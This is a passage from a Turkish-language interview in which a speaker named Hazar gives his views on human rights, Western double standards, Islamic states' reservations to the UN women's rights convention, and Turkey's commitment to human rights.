demokrasi inşa etmek bunu anayasa altına almak için gitmedikleri de açık oluyor böylece. Belki benim tekrar etmeme dahi gerek yok, herkes biliyor ki oradaki amaçları enerji kaynaklarının kontrolü. Görüyoruz ki batı insan hakları kavramını kendi işine geldiği şekilde istismar edebiliyor. Yani kendi içinde en üst normları yakalamışlar ama öte taraftan ciddi biçimde istismar ediyorlar. Fakat bu şu anlama gelmiyor. Bir takım Afrika ülkelerinde, Asya ülkelerinde, Ortadoğu ülkelerinde diktatörleri mazur görmek anlamına gelmiyor. Yani batının bu yanlış tutumu, o ülkelerin diktatörlüklerini, totaliter rejimlerini, insan hakları ihlallerini mazur görmek ve bağışlamak anlamına gelmiyor. Fotoğrafı bütün olarak görmek gerek yani burada.

Bir de başka bir gerçek daha var ki bu insan hakları ve demokrasi dediğimiz kavramlar bir ülkenin ekonomik ve toplumsal gelişmesiyle, evrimiyle doğrudan bağlantılı. Uygarlık düzeyi, eğitim düzeyi, kültür düzeyi, ekonomik gelir düzeyi yüksek olmayan ülkelerde demokrasiyi gerçekleştirmek insan haklarını gerçekleştirmek çok kolay değil. Bu da önemli bir gerçek. Yoksulluk çeken, açlık çeken, sefalet içerisinde bir Afrika ülkesinde “sen insan haklarını uygulamıyorsun, sen insan haklarına saygısızsın” eleştirilerinde bulunmak bir yerde insafsızlıktır. Yani dediğim gibi bu bir süreç. Türkiye, Osmanlı’dan başlarsak 1830’lardan bu yana belirli bir evrim içerisinde ancak belli bir noktaya gelebilmiştir bugüne değin. İşte Avrupa, hâlâ insan hakları ihlalleri var orada dahi. Bunları bilerek tutup bir Afrika ülkesine, bir Ortadoğu ülkesine böyle sert eleştirilerde bulunmak haksızlık. Yani bu ekonomik koşullara, toplumsal koşullara sıkı sıkıya bağlı bir süreç. Ancak tekrar ediyorum ki bu durum söz konusu ülkelerdeki diktatörlük rejimlerini ve insan hakları ihlallerini de hoş görmememiz gerekiyor.

Ünal: İnsan hakları söylemi tüm dünyada kabul edilen metinlerle saptanmış olsa da bunun pratik olarak izlenebileceği siyaset mekanizmalarının kurulamadığını yahut yeterince işlevsel olmadığını görüyoruz. Bugün gelinen noktada insan hakları söylemlerinin insandan daha değerli duruma gelmesi söz konusu olabilir mi? Yani bu hassasiyetlere dair yapılan çalışmalar belli bir çevreyi tatmin ediyor fakat asla uygulama sahası bulamayacağı coğrafyalar mevcut ve mevcut olmaya devam edecek gibi görünüyor. Burada sosyal – siyasi – ekonomik olarak pratiğe dönük bir yeniden temellendirme mümkün mü?

Hazar: Bence burada bir revizyona gerek yok. Çünkü bu sözleşmeler, anlaşmalar hem çok kapsamlı bir şekilde tüm insan hakları kalemlerini hem de bunun yanında kontrol mekanizmalarını da ortaya koymuş durumda. Ama tabi gerçekten uygulamada sorunlar var. Fakat uygulamadaki sorunlar ülkelerin kendi anlayışlarıyla bağlantılı. Mesela kadın hakları konusundaki Birleşmiş Milletler Sözleşmesi’ne sayısını tam hatırlamıyorum ama on beş-yirmi kadar İslam ülkesi çekince koydular kendi ülkelerinde uygulamamak üzere. ‘‘Benim yasalarımla bağdaşmıyor, şeriatla bağdaşmıyor, ben bunu uygulayamam’’ diyorlar. Örneğin Suudi Arabistan, ben şeriat uyguluyorum diyor kadın hakları konusunda. Yani kadın hakları konusunda sözleşmeler oldukça kapsayıcı, her şey var. Bu anlamda bir revizyona gerek yok. Ne var ki mesela orada. Sözleşme kadına her alanda eşit haklar getiriyor. Kadının evlenme hakkı var diyor. Kadın istediği eşi seçebilir diyor sözleşme. Buna itiraz ediyorlar. Sonra kadınla erkeğin hukuk önünde eşit olmasına itiraz ediyorlar. Pakistan’ın, İran’ın, Suudi Arabistan’ın ve diğer bazı Arap ülkelerinin böyle çekinceleri var.

Şunu da unutmamak gerek bunu dinle ilgili bir kalıba sokmayalım. Hıristiyanlık İslam’dan çok ilerici bir anlayışa sahip de değil yani. Demokrasi, insan hakları deyince hep Hristiyanlıktan geliyor zannediliyor. Esasen Hristiyanlık ve Yahudilik kadın hakları alanında daha da geridir. Bunları konuşurken dinlere dair de geniş bir bilgiye sahip olmak lazım. Siyasetle uğraşıyorsanız Yahudilik nedir, Hristiyanlık nedir, İslam nedir uygulamaları nelerdir bunları bilmek lazım. Bakıldığında mesela İslam bunların hepsinden daha ileridedir. Onun için insan haklarını değerlendirirken dinle bağlantıyı kopartmak gerekiyor. İnsan hakları sözleşmesiyle sıkıntısı olan devletlerin dinle bu anlamda bağlantılarını koparamadıklarını görüyoruz. Birleşmiş Milletler çerçevesinde 1990’larda Viyana’da İnsan Hakları Konferansı düzenlenmişti. Bu konferansta uluslararası sözleşmelere çekince koyan ülkelerin mevcut çekincelerini geri almaları için bu ülkeler üzerinde büyük baskılar oluşturuldu. Ama sonuç sağlanamadı. Yani uygulama bakımından sorunlarla karşılaşılıyor genelde, geleneklerime uygun değil, yasalarıma uygun değil, anayasama uygun değil gibi. Yoksa sistem itibariyle her şey mükemmel. İnsanın insan olması hasebiyle ırk, dil, din, cinsiyet ayrımı olmadan doğuştan gelen devredilemez, reddedilemez hakları ve eşitliği çok önemli bir kabuldür. Yani sorun sözleşmelerde, kurallarda değildir. Bu durum bazı ülkelerin tutumundan kaynaklanıyor.

Ünal: Efendim sorularımızı biraz kapsamlı yansıttık mülakata, bu anlamda sorularımız bunlarla sınırlıydı. Sizin okuyucularımıza ifade etmek istediğiniz, iletmek istediğiniz hususlar varsa son olarak onları alabiliriz?

Hazar: İnsan hakları kavramını iyi anlamak lazım. Özgürlük nedir, demokrasi nedir, insan hakları nedir? Bunların hepsini iyi kavramak lazım. Her insanın kendisinin özgürlüğünü ve haklarını korumaya hakkı vardır. Onun için, herkesin kendi hakkını koruması için gerekli gayreti göstermesi gerektiği kanaatindeyim. Düşüncenin serbestçe ifade edilmesi önemli. Ancak bu özgürlüğün bilinçli olarak başkalarına zarar vermek için kullanılmasını önleyen hükümler de esasen uluslararası sözleşmelerde mevcuttur. Genel olarak insanların haklarını aramasını öğrenmesi ve gerekli görüyorsa her türlü hukuki yola başvurmayı bilmesi lazım. Bu da zamanla gelişen bir şey. Bugün baktığımız zaman birçok insan hakkını aramasını bilmiyor. Hâlbuki Türkiye’de yasalar buna uygun. Hakkınız tanınmayabilir, bazı engeller olabilir ama Türkiye’de her zaman hakkınızı arayabilirsiniz.

Bu çerçevede denilebilir ki, insan hakları kutsal bir kavramdır. Daha iyisine şu ana kadar ulaşılamadığı için insanlığın bulduğu en üstün normlardır. Onun için Türkiye olarak biz bu yolda ilerlemeyi bu çerçevede yaşamayı tercih etmiş bir milletiz. İnsan hakları nedir, özgürlük nedir, insanlar hangi haklara sahipler, bunlar nasıl savunulabilir bunları iyi anlamak lazım. Türkiye’de barışçı ortam içerisinde haklarımızı her zaman elde etme imkânı mevcut bulunmaktadır.

Bir Cevap Yazın